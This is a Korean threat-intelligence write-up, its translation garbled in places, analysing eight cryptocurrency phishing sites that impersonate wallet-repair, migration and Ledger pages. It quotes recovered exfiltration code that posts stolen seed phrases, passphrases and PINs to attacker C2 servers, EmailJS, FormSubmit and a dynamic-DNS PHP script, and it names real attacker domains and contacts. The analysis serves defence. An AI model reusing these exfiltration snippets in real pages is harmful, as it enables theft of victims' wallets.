암호화폐 피싱의 실체:
실제 공격 사례 8가지 분석

사칭

지갑 검증을 위한 가상의 “분산형 프로토콜”입니다. 신뢰성을 높이기 위해 CryptoCompare의 실시간 가격 티커를 사용하고, 실제 블록체인 탐색기(이더리움, BSC, 폴리곤, 아발란치, 솔라나, 카르다노)로 연결되는 링크를 제공합니다. 랜딩 페이지에는 100개 이상의 지갑 로고와 3단계로 구성된 “검증” 절차가 소개되어 있습니다.

이중 유출 경로

5개 중 가장 정교한 백엔드 — 도난당한 모든 인증 정보는 이곳을 통해 전송됩니다 두 개의 독립적인 채널 동시에:

Victim submits seed phrase
  |
  +--> Channel 1: axios POST --> Express.js on Render.com
  |      |
  |      +--> Telegram Bot API --> @metatech2 (instant DM)
  |
  +--> Channel 2: fetch POST --> EmailJS API
         |
         +--> Bestgrace309@gmail.com (email backup)

OSINT 분석 결과

사칭

현실을 픽셀 단위로 완벽하게 재현한 스크래핑 아쿠알리브레 (AQLA) 토큰 마이그레이션 페이지. 이 HTML에는 출처를 나타내는 메타데이터 태그가 포함되어 있습니다: data-scrapbook-source="https://token.aqla.app/migration", 2024년 11월 19일자.

제로 코드 접근 방식

이 공격자는 다음이 필요합니다. 서버 측 코드가 전혀 없음. 이 양식은 다음으로 직접 전송됩니다. 비정적 — 정적 사이트를 위한 합법적인 양식 백엔드입니다. 모든 제출 내용은 사기꾼의 이메일로 전달됩니다. 공격자의 이메일 주소는 소스 코드에서는 절대 보이지 않음.

<form action="https://forms.un-static.com/forms/c78173e2d991...94c3f76">
  <textarea name="phrase"></textarea>
  <input name="private-key" />
  <textarea name="keystore-json"></textarea>
  <input name="password" />
</form>

사칭

이 하위 도메인에는 "가 포함되어 있습니다.safpal" — a 의도적으로 틀리게 쓴 SafePal, 인기 있는 하드웨어 지갑입니다. 이 사이트는 “블록체인 지갑 정정”을 사칭하며 26개의 가짜 문제 카테고리를 제시합니다. Typed.js를 사용하여 체인 이름(이더리움, BSC, 폴리곤 등)에 애니메이션을 적용하고, 신뢰도를 높이기 위해 LiveCoinWatch 티커를 활용합니다.

같은 장비, 같은 조작자?

다음 기능을 사용합니다. 완전히 똑같은 피싱 템플릿 사이트 #2와 마찬가지로: 동일함 connect.html, 동일 wallets.html 60개 이상의 로고가 있으며, 동일한 Un-static 백엔드를 사용합니다(폼 ID는 다름 — 6f1b82c3...da9943af). 동일한 키트가 다음과 같은 사실을 강력히 시사한다 한 명의 운영자가 두 사이트를 모두 운영함.

코드 내 오류: “Privay Policy”(‘c’가 빠짐), “seperated”(“separated”로 수정해야 함), “Kestore”(‘y’가 빠짐). 비밀번호 입력란은 type="text" 대신 type="password".

사칭

의 거의 완벽한 복제품인 플레어 네트워크 portal — FTSO 및 Data Connector 프로토콜을 갖춘 진정한 레이어 1 EVM 블록체인입니다. 30개 이상의 생태계 파트너, 내비게이션, 브랜딩을 복제합니다. 타이포스쿼트 도메인에서 로드된 파비콘: portal.flaremainet.com (“mainnet”에서 ‘n’이 하나 빠졌습니다).

이메일JS 이중화

다음 중 유일하게 사용하는 사이트는 두 개의 별도 EmailJS 계정을 동시에 내림 방지용 중복성을 위해:

// Channel 1: EmailJS SDK
emailjs.send('service_6dt5h1k', 'template_hjqp9gb', payload)
// Key: Sza6lhzA9hKHrm1k4

// Channel 2: jQuery AJAX direct
$.ajax('https://api.emailjs.com/api/v1.0/email/send', {
  data: { service_id: 'service_isy47de',
          template_id: 'template_dkk4d1b',
          user_id: 'JsVEgXVcaSTro1etu' }
})

모든 절도 사건에 대한 이메일 제목: "New Wallet Details from Flare".

사이트 #4: 유료 광고, 분석 추적, 이중 정보 유출 — 가장 전문적인 작전

사칭

일반적인 “COIN NODE” / “Wallet Fix” 서비스(특정 브랜드 없음). 저작권 “Wallet Fix 2022” — 이 키트 템플릿은 최소 4년 전의 것입니다. 이미지는 다음 사이트에 호스팅되어 있습니다. pumpeth.com (AWS 기반 워드프레스).

서비스형 피싱(Phishing-as-a-Service)

가장 우려스러운 백엔드 아키텍처: a UUID 기반 멀티 테넌트 API:

POST https://api.pulseresolve.com/a26db20c-1dc4-4208-a60a-c2c3b22c02ef
Content-Type: multipart/form-data

wallet=Metamask&type=phrase&phrase=buddy+surprise+vapor+river+...

각 사기꾼에게는 고유한 UUID 엔드포인트가 할당됩니다. 중앙 운영자는 API를 관리하고 캠페인을 추적하며, 경우에 따라 탈취된 자금의 일부를 챙기기도 합니다. 이것이 바로 조직화된 암호화폐 절도 — 피싱-어-서비스(Phishing-as-a-Service) 모델.

관련 인프라 (대부분 비활성화됨)

사칭

A 양면 작전: 다음 위치에 있는 일반적인 “지원 센터” wallet-support-39n.pages.dev 15개의 가짜 발행 카테고리와 39개의 지갑 브랜드, 그리고 픽셀 단위로 완벽하게 재현된 Ledger 온보딩 클론 에서 ledger-recovery.support Replit에서 호스팅되며, 기기 모델 선택, PIN 설정, 그리고 24단어 시드 문구 표가 포함되어 있습니다. 진정한 BIP39 자동 완성.

스캐너 방지 C2 백엔드

지갑 지원 페이지에서는 도난당한 데이터를 다음 주소로 전송합니다. api.uranustoken.org/log — Cloudflare 뒤에 배치된 맞춤형 nginx/Ubuntu C2. 백엔드 모든 GET 요청을 의도적으로 차단합니다 (522 타임아웃 오류 반환), POST 요청에만 응답합니다. 즉, URL 스캐너, Google Safe Browsing 크롤러, 그리고 GET 요청으로 해당 엔드포인트에 접속을 시도하는 보안 연구원들은 아무런 정보도 확인할 수 없으며, C2는 비활성화된 것처럼 보입니다.

// config.js — C2 config exposed in plaintext
const config = {
  serverURL: "https://api.uranustoken.org",
  allowedWallets: ["phantom","solfare","metamask","trustwallet",
    "coinbasewallet","ledger","trezor","okx","sui","backpack",
    "tonkeeper","magiceden","slush" /* + 26 more */]
};
window.IWMConfig = config;

// Exfiltration function (deobfuscated from bundle)
function Ae(seedPhrase, passPhrase, walletName) {
  fetch(serverURL + "/log", {
    method: "POST",
    headers: {"Content-Type": "application/json"},
    body: JSON.stringify({seedPhrase, passPhrase, walletName, apiKey})
  })
}

이 Ledger 클론은 Replit 내에서 별도의 Express.js 백엔드를 실행합니다: POST /api/recovery-phrase 수집 {deviceId, pin, phrase}. 다음을 반환합니다. 400 {"error":"Invalid data provided"} 잘못된 형식의 입력 시 — 백엔드가 실시간으로 활발히 검증 중 도난당한 데이터.

OSINT 분석 결과

사칭

다음과 같은 기능을 갖춘 일반적인 “분산형 런치패드” 21가지 미끼 종류 (스테이킹, 마이그레이션, KYC, 경품 행사, 보상 수령, 자산 복구, 프리세일, NFT 발행, 계정 잠금...) 및 70개 이상의 지갑 브랜드 — 우리가 접한 것 중 가장 포괄적인 지갑 목록 중 하나다. ‘Sychronize’(‘n’이 빠진)라는 눈에 띄는 오타가 이 목록이 가짜임을 드러낸다.

FormSubmit Pipeline

용도 FormSubmit.co — 합법적인 양식-이메일 전송 서비스. 엔드포인트 해시 a2cf4131f1a5d39453c7c183df96f86f 이는 사기꾼의 이메일 주소에 대한 MD5 해시값입니다. 저희는 Gmail, Yahoo, Hotmail, ProtonMail, Yandex, Mail.ru 등에서 수백 가지의 이메일 패턴을 무차별 대입 공격으로 시도해 보았습니다 — 일치하는 항목 없음. 사기꾼은 흔하지 않거나 무작위로 생성된 이메일 주소를 사용합니다.

// Exfiltration via jQuery AJAX → FormSubmit → scammer email
$.ajax({
    url: "https://formsubmit.co/ajax/a2cf4131f1a5d39453c7c183df96f86f",
    method: "POST",
    dataType: "JSON",
    data: {
        dappWord: seedPhrase,       // THE STOLEN SEED PHRASE
        dappName: walletName,       // Which wallet was selected
        linkName: "DAPP DECENTRALIZED"  // Campaign identifier
    }
});

OSINT 분석 결과

사칭

알 수 없음 — 프론트엔드와 백엔드 모두 오프라인 상태입니다. 페이로드 구조를 미루어 볼 때, 이는 암호화폐 지갑 시드 문구를 탈취하는 공격이었습니다. 이 Cloudflare R2 공개 버킷 (Pages가 아닌 객체 스토리지)는 잘 기록된 피싱 수단 Netskope에 따르면 5,000개 이상의 악성 페이지가 확인되었으며, 트래픽이 61배 증가한 것으로 보고되었습니다.

스크립트 키디 환경 구성

가장 기본 연산 이 컬렉션에서. 시드 문구가 전송됩니다 한 단어씩 무료 동적 DNS를 통해 연결된 가정용 컴퓨터나 VPS에서 실행 중인 PHP 스크립트로:

POST mercifuljigga4real123.publicvm.com/fuc.php
Content-Type: application/x-www-form-urlencoded

pass=Word+1:+finger+%0AWord+2:+flag+%0AWord+3:+across
    +%0AWord+4:+admit+%0AWord+5:+weather+%0AWord+6:+fragile
    +%0AWord+7:+trick+%0AWord+8:+weekend+%0AWord+9:+gift
    +%0AWord+10:+grit+%0AWord+11:+borrow+%0AWord+12:+access

OSINT 분석 결과